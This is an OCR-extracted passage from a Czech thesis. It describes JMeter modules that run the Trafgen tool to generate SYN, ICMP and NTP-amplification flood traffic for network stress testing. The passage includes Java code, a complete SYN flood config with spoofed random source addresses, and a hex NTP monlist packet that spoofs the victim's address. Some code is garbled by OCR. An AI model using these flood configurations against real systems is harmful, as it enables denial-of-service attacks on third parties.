motnych samplerech. Funkce metody interrupt je blize popsana v dalsi podkapitole

zabyvajici se vyvojem modulu Syn Flood.

Vypis 4.3: Casované ukonceni nastroje Trafgen.

if (usingScheduler) {
long duration = endtime — System.currentTimeMillis () ;

final ScheduledExecutorService service = Executors.
newSingleThreadScheduledExecutor () ;
service.schedule (new Runnable ()

{
@Override
public void run()
{
for (Entry<JMeterThread, Thread> entry : allThreads.entrySet ()
) A
stopThreadTrafgen (entry.getKey (), entry.getValue(), true);
}
}

}, duration, TimeUnit.MILLISECONDS) ;

4.2 Syn Flood

Prvnim vyvijenym a déle také exemplarnim prikladem pro dalsi moduly vyuzivajici
Trafgen, je modul realizujici itok Syn Flood. Vyvoj sampleru spociva v nékolika
ukolech:
o vytvorit konfiguracni soubor, ktery zajisti odesilani paketi SYN jejichz para-
metry bude mozné nastavit uzivatelem pomoci grafického rozhrani,
o zajistit spusténi nastroje Trafgen s timto k. souborem a parametry sily ttoku
zadanymi uzivatelem,
e zajistit spravu beziciho procesu nastroje Trafgen a jeho ukonceni pii celkovém
zastaveni testu nebo podle planovace,
o vytvorit odpovidajici grafické rozhrani sampleru, které umozni uzivateli nasta-

vit vSechny potfebné parametry utoku.

43



Zakladem pro novy modul Syn Flood je example sampler zminény v kapitole
3.2.1, ktery poskytuje nutné minimum pro vytvoreni nového sampleru. Opét se sam-
pler sestava ze dvou trid:

e SynFloodSampler.java — samotny sampler,

e SynFloodGui. java — jeho grafické rozhrani.

4.2.1 Vytvoreni konfiguracniho souboru

Pro utok Syn Flood musi byt v konfiguracni souboru nastaveny prvni 3 vrstvy
TCP/IP a déle je potfeba umoznit nastaveni velikosti paketu (payload) pro ttok s
velkymi SYN pakety tzv. Large SYN.
Dulezité parametry definujici itok a nazvy jejich proménnych v konf. s. (respek-
tive priznaka v prikazu), které muze nastavit uzivatel, jsou nasledujici:
e v konfigura¢nim souboru:
— linkova vrstva:
% saddr — zdrojova MAC adresa,
*x daddr — cilova MAC adresa,
— sitova vrstva:
x sa — zdrojova IP adresa,
x da — cilova IP adresa,
x ttl — TTL,
— transportni vrstva:
% sport — zdrojovy port,
% dport — cilovy port,
% win — velikost okna (window size),
— fi11(’B’,<velikost v bytech>) — vypli (padding), pomoci makra, na-
staveni velikosti paketu,
e ve spoustécim piikazu:
— —-out — sitové rozhrani,
— —-num — pocet paketu k odeslani,

— —-rate — rychlost odesilani paketi.
Identifikace konkrétniho konfigura¢niho souboru a spusténého procesu

Pro identifikaci konkrétniho konfiguracniho souboru a také spusténého procesu
Trafgenu (vysvétleno v néasledujici sekci) je nutné do ndzvu souboru vnést unikatni
znacku, kterd bude identifikovat vzdy jeden jedinecny kofiguracni soubor. K tomu
je zavedena finalni proménna TIMESTAMP, ktera je ¢asovou znackou a sklada se z
aktualniho data, systémového ¢asu a dale ¢asového udaje v nanosekundach (pocitan

od startu programu), ktery zajisti jedinecnost znacky naptiklad pii spusténi dvou
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sampleru ve ,stejny okamzik* (rozdil ve spusténi samplert je ovSem ve skutecnosti
v Fadu tisict nanosekund). Zpusob jakym je ziskdna tato ¢asova znacka je znazornén

ve vypisu 4.4.

Vypis 4.4: Casové znacka.

DateFormat dateFormat = new SimpleDateFormat ("yyyy MM dd HH mm ss");
// formdt data

Date date = new Date(); // aktudini datum

String nanos = Long.toString (System.nanoTime()); // ¢as programu v
nanosekunddch

this.setProperty (TIMESTAMP, dateFormat.format(date)+" "+nanos.
substring (nanos.length ()—6)); // nastaveni proménné TIMESTAMP

Sprava cesty v souborovém systému

Dalsim problémem bylo zajisténi spravné cesty v souborovém systému k ulozeni
nového konfiguracéniho souboru a poté i k jeho nacteni ve spoustécim piikazu, a to
dynamicky tak, aby bylo funkéi pro jakéhokoli uzivatele a jeho konfiguraci. Je tedy
zavedena proménnd tmpdir, kterd v sobé uchovava pozici domovského adresare ak-
tualniho uzivatele, popripadé uzivatele root. Pii dodrzeni instalace nastroje Trafgen,
tak jak je popsana vyse, je tedy zajiSténa funkénost modulu. Dvé moznosti nasta-
veni proménné tmpdir, jsou znazornény ve vypisu 4.5. Kdyz je systémova proménna

jmeter.home prazdna znamena to, ze je program JMeter spustén uzivatelem root.

Vypis 4.5: Sprava cesty v souborovém systému.

File userDir = new File(System.getProperty ("user.dir"));
String tmpdir = null;
if (System.getProperty("jmeter.home")=—null) { // pro spusteni jako
root
File tmpDir = userDir.getParentFile().getParentFile();
tmpdir = tmpDir. getAbsoluteFile ().getParent () ;
telse { // v ostatnich pripadech
File tmpDir = userDir.getParentFile () ;
tmpdir = tmpDir. getAbsoluteFile ().getParent () ;

Tvorba souboru

Samotné vytvoreni souboru (znézornéno ve vypisu 4.6) je provedeno s vyuziti
knihoven:

e java.io.Writer,

e java.io.BufferedWriter,

e java.io.OutputStreamWriter,

45



e java.io.FileOutputStream.

Vypis 4.6: Vytvoreni souboru.

Writer writer = new BufferedWriter (new OutputStreamWriter (new
FileOutputStream (tmpdir+" /netsniff -ng/trafgen/"+this.
getPropertyAsString (TIMESTAMP)+"MySynFlood. cfg "), StandardCharsets.
UTF_8))) {

// proménné typu String a jejich zapsani pomoci writer.write(String)

// ukdzka cdsti kédu, kde je wypsdna ¢dst k. souboru pro linkovou

vrstvu
//// ETHERNET LAYER ////
String line2 = ", eth(daddr=" + this.getPropertyAsString (DMAC)+"

"o,
’

writer.write (line2);

String line2a = " saddr=" + sourceMac + " ";
writer.write (line2a);

String line2b = " proto=ETH_P IP)," + "\n'+"\n";

writer.write (line2b);

S pomoci objektu writer (viz vypis) lze vytvorit soubor tak, ze vzdy jeden radek
(nebo jeho ¢ast) ulozime do proménné typu String a vypiseme do souboru pomoci

writer.write().
Parametry s rozsahem

Slozitéjsi situace je u parametru zdrojové IP adresy, MAC adresy a portu. Zde je
vyzadovano, aby mél uzivatel moznost zadat nahodné generovani (poptipadé iteraci)
tohoto parametru ze zadaného rozsahu. Tato funkcionalita zlepsuje kvalitu ttoku,
oproti jen jednomu.

K zajisténi této funkcionality je vyuzito dynamické funkce drnd{min, max} (po-
pripadé dinc{min, max} pro MAC adresu). K tomu, aby bylo mozné tuto funkeci
pozit, je nejdiive potfeba adresy zacatku a konce rozsahu prevést do jejich repre-
zentace v desitkové soustavé. K tomu jsou vytvoreny metody rangeMacFunction()
a rangeIpFunction(). Port jiz je zadan v desitkové soustavé, je tedy mozné primo
pouzit do dynamické funkce parametry zadané uzivatelem.

Metoda rangeIpFunction(String minIP, String maxIP) (kde minlP je zaca-
tek rozsahu a maxIP posledni adresa z rozsahu) funguje tak, Zze nejprve rozparsuje
vstupni IP adresy od uzivatele na oktety, ty dédle prevede do binarniho tvaru, oktety
opét spoji do Tetézce 32 bitt a ten je preveden zpét do desitkové soustavy. Tim je
ziskana reprezentace IP adresy v desitkové soustavé tak, jak je potiebna pro vstup
do dynamické funkce drnd{min, max}. Vystup metody je jiz ve tvaru dynamické

funkce a je primo pripraven na dosazeni do konf. souboru.
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U zdrojové MAC adresy byla testovana dynamickd funkce drnd{min, max},
ktera se ale v tomto pripadé nechova tak, jak by bylo ocekavano, a vraci nesmy-
slné hodnoty MAC adres, které jsou invalidni. Po priuzkumu bylo zjisténo, ze pro
MAC adresy se vyuziva dynamicka funkce dinc{min, max}, ktera jiz vraci hodnoty
spravné a ma v sobé i mechanizmus, ktery sam zadava prvni 3 oktety adresy, které
urcuji vyrobce tak, aby MAC adresa byla korektni. Zbylé 3 oktety se jiz inkremeteji
s krokem 1 podle rozsahu zadaného uzivatelem.

Metoda rangeMacFunction(String minMac, String maxMac), pracuje tak, ze
odstrani z MAC adres (zadanych hexa-decimélné) dvojtecky rozdélujici oktety. Déle
jsou Tetézece z pocatecni a koncové adresy prevedeny do desitkové soustavy a hod-
noty se vlozi do dynamické funkce dinc{min, max}.

Vypisy z vyse uvedenych metod jsou k nalezeni v priloze B.2 a B.3. U vytvareni
konfigurac¢niho souboru je pro vysSe zminéné t¥i parametry vzdy vytvorena String
proménnad, do které se podle toho, zdali si uzivatel zvoli zadani jedné hodnoty nebo
rozsahu, zapise bud primo hodnota od uzivatele nebo vystup vyse popsanych metod.

Vysledny vygenerovany konfiguracni soubor pro itok SYN Flood ma néasledujici

podobu.

Vypis 4.7: Konfiguracni souboru pro utok SYN Flood.
#define ETH P IP 0x0800

// linkovd wvrstva

eth (daddr=ff: ff: ff:ff: {f:ff, saddr=dinc (4328761873, 4328761890) ,
proto=ETH P IP),

// sitovd wvrstva

ipvd (ttl=64, ver=4, len=59, flags=0b01000000, frag=0, df, da
=192.168.0.1, sa=drnd (3232235530, 3232235620)),

// transportni vrstva

tep (sport=drnd (1024, 65535), dport=80, seq=drnd (), aseq=0, hlen=40,
syn, win=16),

// vipln

fill ("B ,12),

4.2.2 Sprava procesu nastroje Trafgen

Spusténi externiho procesu v jazyce Java je mozné pomoci objektt typu Process a
Runtime. Nejdiive je vytvoren samotny ptrikaz a ulozen do proménné typu String(]
(pole Tetézct). Na prvnim misté v poli je /bin/bash, coz je interpretace piikazové

radky. Nésleduje priznak -c, ktery indikuje, ze bude nésledovat ptikaz. Nakonec

47



samotny prikaz, ktery je pro prehlednost ulozen do vlastni proménné typu String
pojmenované command.

V nasledujicim zkraceném vypisu je zobrazena tvorba prikazu a jeho spusténi.

Vypis 4.8: Spoustéci prikazu a spusténi processu.

// prikaz
String command= "pkexec  "+tmpdir+"'/netsniff —ng/trafgen/trafgen, —in "+
tmpdir+"/netsniff —ng/trafgen/"+this . getPropertyAsString (TIMESTAMP)+
"MySynFlood . cfg —out "
+ this.getPropertyAsString (INTERF) + " —cpp." +

number + rate;

String [| args2 = new String[] {"/bin/bash",'—c¢"  command};

// spusténid
Runtime rt = Runtime.getRuntime () ;
process = rt.exec(args2);

process.waitFor(); // zaji§téni cfekdni vldkna dokud proces neskonci

wantToKill = false; // pomocnd proménnd

Nyni k vysvétleni jednotlivych prvkia prikazu:

o pkexec — podobné jako sudo indikuje spusténi s pravy superuzivatele, nicméné
jeho vyhodou je, ze v pripadé, kdy je spustén JMeter bez téchto prav otevie
dialogové okno pro zadani hesla superuzivatele a umozni provedeni ptikazu,

e +tmpdir+"/netsniff-ng/trafgen/trafgen — cesta k nastroji trafgen pro jeho
spusténi, funkce proménné tmpdir je popsana vyse,

o —-in — indikuje, Ze bude nasledovat cesta ke konfigura¢nimu souboru,

o cesta k souboru s pouzitim jedinecné ¢asové znacky vysvétlené v predchozim
textu,

o —-out — indikuje, Ze bude nasledovat odchozi sifove rozhrani,

o sifové rozhrani,

e ——cpp — je vyuzito C preprocessoru,

o number — kolik méa byt odeslano paketii, vynechani parametru znamena neko-
necno (odesilda dokud neni proces zastaven),

o rate —rychlost jejich odesilani, vynechdni parametru znamena nekonecno (nej-
vyssi dosazitelnd rychlost).

Parametry number a rate jsou ve vlastnich String proménnych, pro zajisténi je-

jich vynechéani v pripadé potieby. Pokud zanecha uzivatel textové pole pro parametr
number (respektive rate) prazdné, bude do proménné nahran prazdny fetézec. Po-

kud ovsem uzivatel pole vyplni, bude do proménné zapsan retézec —-num <&islo>

48



pro parametr number (respektive --rate <&islo>pps pro parametr rate).

Dulezitym prvkem je funkce objektu typu Process process.waitFor () (viz vypis
4.8), diky ni je zajisténo, ze spusténé vlakno sampleru ¢ekd dokud neprobéhne proces
spusténého nastroje Trafgen. To je dilezité z pohledu celého JMeteru, ktery funguje
na bazi toho, zZe testovaci plan probiha dokud pobihaji vlakna sampleri. Pokud
nebylo vyuzito funkce waitFor() doslo by pouze ke spusténi procesu a vlakno by
dobéhlo dokonce. To z pohledu JMeteru znamena, ze test skoncil, coz ovSsem neni
pravda. Timto je zajiSténa zpétna vazba od procesu, kterd umoznuje jeho spravu
pro nasledné vypnuti pfi globalnim ukonceni testu nebo pri ukonceni testu (Casti
testu — Thread Group) pomoci planovace.

Pro spravu procesu je navzeno nékolik metod:

o getTrafgenPIDs() — zjisti vSechna identifikacni ¢éisla procesii néastroje Traf-

gen,

o getSpecificTrafgenPIDs () zjisti specifiky identifikacni ¢isla procest nastroje

Trafgen spusténého s konkrétnim,

e killTrafgen() — zajistuje ukonceni procesti, vstupem jsou identifikacni ¢isla

procesi z metod getTrafgenPIDs () nebo getSpecificTrafgenPIDs(),

e intterupt() — je zavolana planovacem pri konci testu daného Trafgen Thread

Group,
e testEnded() — je zavolano pri globalnim ukonceni test planu pomoci tlacitka
STOP v GUI programu JMeter.

Metody getTrafgenPIDs () respektieve getSpecificTrafgenPIDs (), funguji na
pricipu vypsani piikazu ps -few (vypiSe spusténé procesy) a prohledéni tabulky
radek po radku. Pokud je nalzen radek, ktery obsahuje retézec ,trafgen® respektive
ytrafgen“ a zaroven proménnou TIMESTAMP, kterd je jedincéna pro danou instanci
tridy SynFloodSampler.java, ulozi se PID procesu do listu, ktery je vystupem
téchto funkei.

Metoda killTrafgen() jiz pouze spusti prikaz pkexec kill -SIGKILL <PID>,
kde PID je vystupem metod vyse popsanych a vstupem této metody. Piikaz docily
zastaveni procesu a tim se i tedy uvolni vlakno sampleru.

Pro pouziti metody intterupt (), je nejdiive potieba nastavit tiidé aby imple-
mentovala Interruptible. Poté jiz je vnitiné zajisténa spravna funkce této metody.
Po zavolani metody intterupt() pomoci planovace (viz kapitola Trafgen Thread
Group), je uvnitf této metody zavoldna metoda killTrafgen() jejiz vstupem je
vystup metody getSpecificTrafgenPIDs (). Tim je zajisténo zastaveni pouze téch
spravnych procest konkrétni instance nastroje Trafgen.

Metoda testEnded() pak jiz slouzi ke globdlnimu ukonceni vsech spusténych
procesii nastroje Trafgen po stisknuti tlacitka STOP v GUI programu JMeter, které

ihned ukonci vSechna bézici vlakna testovaciho planu a nastane tedy konec testu
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a je globalné zavolana metoda testEnded(), ktera je vnitiné implementovana v
programu JMeter. Opét je pro jeji funkci nutné nastavit tiidé aby implementovala
ThreadListener. Uvniti metody je zavolana metoda killTrafgen() jejiz vstupem
je vystup metody getTrafgenPIDs (). Tim je zajiSténo zastaveni vSech existujicich
procesu nastroje Trafgen.

4.2.3 Uzivatelské rozhrani a prace s parametry

Kazdy sampler v programu JMeter vyuziva pro spravu parametri, které jsou za-
dany uzivatelem a jsou jedinecné pro danou instanci sampleru, objekt tzv. TestFE-
lement. Tento objekt je vytvoren pomoci metody createTestElement() ve tridé
SynFloodGui. java jako obejkt t¥idy SynFloodSampler. java.

Vypis 4.9: TestElement.

public TestElement createTestElement () {
SynFloodSampler sampler = new SynFloodSampler(); // vytvorent

objektu
modifyTestElement (sampler); // nastaveni TestElementu sampler
return sampler; // wvrdceni objektu

}

Metoda modifyTestElement () slouzi k predani parametri od uzivatele odpovi-
dajici instanci sampleru Syn Flood. Vstupem metody je objekt TestElement. Uvnitt
metody je vzdy predan parametr z prvku grafického rozhrani do parametru objektu
(viz vypis 4.10).

Vypis 4.10: Zkraceny vypis metody modifyTestElement ().

public void modifyTestElement (TestElement te) {
te.clear ();
configureTestElement (te);
// mastav parametr X hodnotou Y
te.setProperty (SynFloodSampler .INTERF, selectInt.getSelectedItem ().
toString ());

te.setProperty (SynFloodSampler .DMAC, dMAC. getText ());
te.setProperty (SynFloodSampler . TARGETIP, targetIP .getText());

te.setProperty (SynFloodSampler .NUMBER, number. getText ());

Dalsi dilezitou metodou je configure(). Jedna se o zpétné nastaveni parame-
tri v GUI podle parametri objektu TestFlement podobnym stylem jako v metodé
modifyTestElement (), kde naopak misto setProperty se pouzije getProperty.
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Toto Teseni, narozdil od statického predavani hodnot, zajistuje, Ze nenastane situ-
ace, kdy pri spusténi dvou instanci stejného sampleru neni mozné predat 2 rtzné
hodnoty pro stejny parametr.

Tvorba grafického rozhrani

Samotné grafické uzivatelské rozhrani je tvoreno knihovnou Java Swing. Detailni
popis tvorby vsech panelt a textovych poli nepovazuji za podstatny v této praci.

Jednim z komplikovanéjsich prvka grafického rozhrani je vsSak roleta, ktera na-
bizi k vybéru dostupna sitova rozhrani. Roleta je tvorena prvkem knihovny Swing
JComboBox. Je ale potiba zajistit dynamické nacteni dostupnych sitovych rozhrani
na daném stroji. K tomu byla vytvorena metoda getInterfaceList().

Tato metoda vraci pole Tetézcti s nazvy sitovych rozhrani. Metoda vyuziva knihovny
java.net.NetworkInterface a jeji metody getNetworkInterfaces(). Ta vraci in-
formace o dostupnych rozhranich, které jsou déle ulozeny do vyc¢tu (Enumeration).
Déle v cyklu for jsou od vSech prvka vycétu vybrana jména rozhrani pomoci metody
getName () a uloZena do listu. List je prfeveden do pole Tetézcii, které je uz vystupem
metody.

Vystup metody je pifimo vstupem v inicialzici prvku JComboBox a pak uz jen staci
ziskat z rolety zvolené rozhrani uzivatelem pomoci getSelectedItem() .toString().

Vysledné grafické rozhrani modulu SYN Flood je vyobrazeno na obrazku 4.2.

Syn Flood

Name: [Syn Flood

Comments:

rLink Layer

Network Interface |en033554984 -
Source MAC virbro

Single value: |00:0 Ienn03355494

Destination MAC: [ff.ffffff.ff.ff |

riP Layer
Target IP: [192.168.0.1 |
Source IP

Single value: Random from range: Min: |192.168.0.10 | Max: ‘192.168.0‘100 |
TTL: [64 |
rTransport Layer

Source TCP Port

Single value: ‘65535 ‘ [IRandom from range: Min: Max:

Destination TCP Port: [80 | ‘
Wwindow Size: [156 |

Payload

’VPadding size [bytes]: |22 \‘

rAttack Strenght
Number of Packets: [1000000 |

Packet Rate [ppsl: [1000000 |

Obr. 4.2: Grafické uzivatelské rozhrani modulu SYN Flood.
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4.3 ICMP Flood

Rozdil v implemtaci itoku ICMP Flood oproti SYN Flood spociva pouze ve zméné
konfiguracniho souboru a grafického uzivatelského rozhrani. S tim je spojeno zave-
deni novych parametri, které bude mit uzivatel moznost ovlivnit.

Implementace parametrua linkové a sifové vrstvy zlstavaji stejné jako v pripadé
modulu SYN Flood. Naopak zde jiz neni potieba zadné transportni vrstva a je pouze
priddna hlavickova funkce pro protokol ICMPv4, kterd pracuje na sitové vrstve.
Nastaveni sily itoku pomoci parametrii number a rate zistava totozné jako u SYN
Flood.

Cést konfiguraéniho souboru, jenz vyjadifuje parametry protokolu ICMPv4, je
hlavickova funkce icmp4 () (viz vypis 4.11). Ta obsahuje nékolik zakladnich parame-
tri:

o type — typ ICMP zpravy,

e code — kod ICMP zpravy,

o id — identifikace,

» seq — sekvencni c¢islo, nastavené na inkrementaci s krokem 1.

Vypis 4.11: Tvorba hlavickové funkce icmp4 () v konf. souboru.
//// ICMPv ////
String line4 = ", icmp4(type="+type+", code="+code+" , id=42,
Seq:dinc(l)),“—'— ||\n|| +||\n||;

writer.write(line4);

Uzivateli je dana moznost ovlivnit typ a kod ICMP zpravy. Tim si vybere jednu
z konkrétnich ICMP zprav, ktera bude odesilana generatorem Trafgen. Implemen-
tované typy a kody zprav jsou zobrazeny v tabulce 4.3.

V grafickém rozhrani je tato volba fesena roletou. Jejim vstupem je pole fetézci,
které obsahuje c¢islo typu, kodu a nazev zpravy. Zvoleny typ zpravy uzivatelem se
ziskd pomoci getSelectedItem() .toString() jako fetézec, ktery je, jako parametr
objektu TestElement, predan sampleru. Z tohoto fetézce je vynaté ¢islo typu a kédu

IMCP zpravy a nasledné vlozeno do hlavickové funkce icmp4 ().

4.4 NTP Flood

Pro implementaci utoku NTP Flood je opét potfeba upravit konfigura¢ni soubor
a grafické uzivatelské rozhrani. Utok pouziva na transportni vstvé protokol UDP a
samotny N'TP protokol pracuje na aplikac¢ni vrstveé.

U tvorby konfigura¢niho souboru pro NTP Flood je vyuzito faktu, Ze je mozné

kombinovat starou a novou syntaxi. Pro spodni 4 vrstvy modelu TCP/IP je pouzité
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Tab. 4.3: Implementované typy ICMP zprav.

‘ Typ ‘ Koéd | Zprava

0 0 Echo reply

3 0 Destination Unreachable - Net Unreachable

3 1 Destination Unreachable - Host Unreachable

3 2 Destination Unreachable - Protocol Unreachable

3 3 Destination Unreachable - Port Unreachable

3 4 Destination Unreachable - Fragmentation Needed

3 5 Destination Unreachable - Source Root Failed

3 6 Destination Unreachable - Destination Network Unknown
3 7 Destination Unreachable - Destination Host Unknown

3 8 Destination Unreachable - Source Host Isolated

3 9 D. U. - Communication with Dest. Network is Admin. Prohibited
3 10 D. U. - Communication with Dest. Host is Admin. Prohibited
3 11 D. U. - Destination Network Unreachable for Type of Service
3 12 D. U. - Destination Host Unreachable for Type of Service
3 13 D. U. - Communication Administratively Prohibited

3 14 Destination Unreachable - Host Precedence Violation

3 15 Destination Unreachable - Precedence cutoff in effect

4 0 Source Quench

5 0 Redirect Datagram for the Network (or subnet)

5 1 Redirect Datagram for the Host

5 2 Redirect Datagram for the Type of Service and Network
5 3 Redirect Datagram for the Type of Service and Host

6 0 Alternate Host Address

8 0 Echo Request

11 0 Time to Live exceeded in Transit

11 1 Fragment Reassembly Time Exceeeded

13 0 Timestamp

14 0 Timestamp Reply

15 0 Information Request

16 0 Information Reply

17 0 Address Mask Request

18 0 Address Mask Reply

30 0 Traceroute

31 0 Datagram Conversion Error
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ICMP Flood

Name: ICMP Flood
Comments:

rLink Layer

Network Interface [virbro [~]
Source MAC
Single value: ‘00:01:02:03:aa:11 ‘ [Jincrement in range: Min: Max:

Destination MAC: [ff.fff.ff:ff. |

riP Layer

Target IP: [192.168.0.1 |
Source IP
Single value: ‘192.168.0.15 ‘ [IRandom from range: Min: Max:

TTL: [64 |

ICMP
Types and Codes: |8 -0 Echo Request

[r] 4

5 -2 Redirect Datagram for the Type of Service and Network
5 -3 Redirect Datagram for the Type of Service and Host
Number of Packetss g afternate Host Address

Packet Rate [ppsl: [8 -0 Echo Request

11-0 Time to Live exceeded in Transit

11-1 Fragment Reassembly Time Exceeeded

13-0 Timestamp

14-0 Timestamp Reply

rAttack Strenght—j

a[ [

Obr. 4.3: Grafické uzivatelské rozhrani modulu ICMP Flood.

nové syntaxe ve formé hlavickovych funkei. Pro aplika¢ni ¢ast (parametry protokolu
NTP) je pouzita stard syntaxe. Jak je popsano v kapitole 1.2.5, principem ttoku je
odeslani zadosti ,,get monlist“ na NTP server s tim, Ze je podvrzena zdrojova adresa
za adresu cile utoku.

7. predchoziho odstavce vypliva, Ze u tohoto ttoku se IP adresa cile tutoku z
predeslych modulti zaméni za adresu NTP serveru a IP adresa zdroje tutoku se
nahradi adresou obéti. Nema zde tedy smysl pouzivat rozsahy zdrojovych IP adres,
tak jako u predchozich utoku.

V ramci transportniho protokolu ma uzivatel moznost nastavit zdrojovy a cilovy
port. Ten cilovy odpovida portu, na kterém nasloucha NTP server a jeho defaultni
hodnota je 123.

Z nedostatku dostupnych zdroji, které by popisovaly tvorbu konfigura¢niho sou-
boru, ktery by generoval korektni a tuc¢inny paket NTP ,get monlist®, jsem musel
pristoupit k jinému zptisobu generovani konf. souboru.

Pomoci prikazu programu nipdc ntpdc -c monlist <ntp_server_ip> jsem vy-
generoval korektni paket NTP ,get monlist“. Tento paket jsem vyexportoval do sou-
boru typu pcap. Sada Netsniff-NG nabizi moznost vygenerovat konfiguracni soubor

pro Trafgen pravé ze zachyceného paketu pomoci prikazu ve vypisu 4.12.

Vypis 4.12: Vygenerovani konfiguracni souboru ze zachyceného paketu.

netsniff -ng —in <zachyceny_ paket >.pcap —out <novy_ konf_ soubor>.cfg —s

Vysledny vygenerovany konfiguracni soubor je pouze sled hexadecimalnich hod-

not, které odpovidaji paketu (jak je napf. mozné vidét v programu Wireshark ve
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spodni ¢ésti). Déle je mozné identifikovat jaké hodnoty piislusi jakym parametrim
(napriklad primo v programu Wireshark) a vnést tak své parametry (od uzivatele)
do tohoto konfigura¢niho souboru.

Ve vypisu 4.13 lze vidét, ze ¢ast hodnot je primo nahrazena hlavickouvou funkeci
pro linkovou vrstvu. Déle jsou vneseny parametry pro zadané IP adresy, hodnotu
TTL a UDP porty.

Vypis 4.13: Tvorba konfigura¢niho souboru pro utok NTP Flood.
//// ETHERNET LAYER ////
String line2 = ", eth(daddr=" + this.getPropertyAsString (DMAC)+",";

writer. write(line2);

String line2a = " saddr=" + sourceMac + ,
writer.write(line2a);

String line2b = " proto=ETH_P IP)," + "\n'+"\n";
writer. write(line2b);

String hexa = "0x45,,,0x00,,,0x00, ,0xdc, 0xel, ,0x96 6 "+
"0x40,,,0x00,, "+t t1+",,,0x11,,,0x6b, Oxca,"+sourcelPhex+
destIPhex+sourcePort+destPort+",,0x00,,,0xc8, "+
"Oxed, 0x89,,,0x17,,0x00, ,0x03, 0x2a,, ,0x00, ,0x00, 0x00, ,0x00,"
_|_

HOXOO 5L \OXOO 5L \OXOO 5L \OXOO 3 “+“ \n“ 3
writer.write (hexa);

Zména v grafickém prostredi je pouze na transportni vrstvé, kde misto nastaveni
TCP protokolu vystupuje protokol UDP. Parametry protokolu NTP jsou jedno-

znacné dané.

4.5 Univerzalni modul

Podmétem k vytvoreni tohoto modulu bylo dat moznost zkusenéjsim uzivateltim,
kteri maji znaslosti ohledné konfiguracnich soubort nastroje Trafgen, vytvorit vlastni
konfiguraci ttoku, pomoci tpravy konfiguracniho souboru piimo v grafickém pro-
stfedi programu. Déle mit moznost nové vytvoreny (upraveny) konfiguracni soubor
ihned jednoduse spustit jako ttok.

K tomuto tcelu je prepracovano grafické rozhrani, kde ztistavaji pouze parametry;,
které vstupuji primo do spoustéciho prikazu. Témito parametry jsou sitové rozhrani,
number (pocet paketu k odeslani) a rate (rychlost odesilani). Témi jedinymi dalsimi
a zaroven dvéma nejdulezitejSimi prvky je textové pole textArea typu JTextArea a

tlacitko browse typu JButton.
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Ntp Flood

Name: |th Flood
Comments:

rLink Layer
Network Interface ‘virhr() ‘v|

Source MAC
Single value: |00:01:02:03:aa:11 ‘ []Increment in range: Min: Max:

Destination MAC: [ff:ffff.ff:fF.ff |

rlP Layer
NTP Server IP: [192.168.0.1 |

Target IP: [192.168.0.15 ]
TTL: [64 |

rTransport Layer
Target UDP Port

Single value: |1123 ‘ [IRandom from range: Min: Max:

NTP server UDP port: [123 |

rAttack Strenght
Number of Packets: [1000000 |

Packet Rate [ppsl: [1000000 |

Obr. 4.4: Grafické uzivatelské rozhrani modulu NTP Flood.

Pomoci tlacitka browse si uzivatel vybere jiz existujici textovy soubor a ten se
nacte do pole textArea. K tomu slouzi 2 metody:

e browsePanel () — obstarava tlacitko browse, spusténi dialogové okna a vybér

souboru,

e loadTextIntoArea() — obstarava nacteni vybraného souboru do textové plo-

chy.

Metoda browsePanel () (viz vypis 4.14) pracuje s objektem fc typu JFileChoo-
ser, ktery slouzi k vybéru souboru ze souborového systému pomoci dialogového okna
(jeho metoda showOpenDialog()). Déle je v této metodé nastaven vychozi adresar
dialogového okna (pomoci metody obejktu fc.setCurrentDirectory()) pravé na
adresar, kde se uchovavaji vsechny konfigurac¢ni soubory néstroje Trafgen.

Pomoci fc.getSelectedFile() se soubor vybrany uzivatelem ulozi do pro-
ménné typu File a predlozi se druhé vytvorené metodé loadTextIntoArea() jako
vstup.

Vypis 4.14: Zkraceny vypis z metody browsePanel ().

browse.addActionListener (new ActionListener () {
public void actionPerformed (ActionEvent evt) {
final JFileChooser fc = new JFileChooser(); // objekt pro vygbér
souboru ze souborového systému

// mastaveni vychoziho adresdre

File userDir = new File (System. getProperty("user.dir"));

File tmpDir = userDir.getParentFile().getParentFile();

String tmpdir = tmpDir. getAbsoluteFile().getParent();

fc.setCurrentDirectory (new java.io.File(tmpdir + "/netsniff-ng/
trafgen/"));
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if (evt.getSource() == browse) {

@SuppressWarnings ("unused")

int returnVal = fc.showOpenDialog(EditorGui.this); // otevrent
dialog . okna

File file = fc.getSelectedFile(); // soubor wvybrany uZivatelem =z
dialog. okna

loadTextIntoArea(file); // nacténi toho souboru do textArea
pomoci loadTextIntoArea ()

String fileName = file.getName() ;

label.setText (" File name: "+fileName); // zobrazeni ndzvu nad

teného souboru v GUI

Metoda loadTextIntoArea() nacte soubor do obejtku br typu BufferedReader
(zdsobnik pro ¢teni textovych souboril) a znéj se poté nacte textovy obsah souboru

do pole textArea pomoci metody textArea.read() (viz vypis 4.15).

Vypis 4.15: Zkraceny vypis metody loadTextIntoArea().
public void loadTextIntoArea(File file){

FileReader reader;
try {
reader = new FileReader(file); // nactend souboru
BufferedReader br = new BufferedReader (reader); // nactend do zd
sobn iku
try {
textArea.read( br, null ); // nacte obsah zdsobniku do

textArea

Pr1i spusténi testu se text z pole textArea, ktery mél uzivatel moznost zmeénit
podle svych predstav, ulozi do parametru objektu TestElement s ndzvem CONFIG,
a tim padem preda samotnému sampleru. Ten vytvari konfiguracni soubor jako ob-
vykle, ale namisto ru¢niho vypisovani jednotlivych radkia konfiguracéniho souboru s
parametry uzivatele, je pfevzat text z parametru CONFIG a primo vypsan do nového
souboru (viz vypis 4.16). Utok je tedy spustén s konfiguraénim souborem odpovida-

jicim textu v poli textArea.
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Vypis 4.16: Zapsani textu z textArea do nového konfigura¢niho souboru.

try (Writer writer = new BufferedWriter (new OutputStreamWriter (new
FileOutputStream (tmpdir+" /netsniff —-ng/trafgen/"+this.
getPropertyAsString (TIMESTAMP)+"MyEditor. cfg"), StandardCharsets.
UTF_8))) {

writer . write(this.getPropertyAsString (CONFIG) ) ;

} catch (IOException exn) {
System.out.println (exn);

Trafgen custom config

Name: [Trafgen custom config

Comments:

Trafgen startup parameters
Network Interface [Virbro [~]

Number of Packets: [1000000 |

Packet Rate [pps]: [1000000 |

#define ETH_P_IP 0x0800

{
eth(daddr=ff:ff:ff:ff:ff:ff, saddr=dinc(4328761873, 4328761890), proto=ETH_P_IP],

ipva(ttl=64, ver=4, len=59, flags=0b01000000, frag=0, df, da=192168.0.1, sa=drnd(3232235530, 3232235620)),
icmpa(type=8, code=0, id=42, seq=dinc(1)),

fill('B*, 22),

Obr. 4.5: Grafické uzivatelské rozhrani univerzalnitho modulu.

4.6 Modul pro utok Slowloris

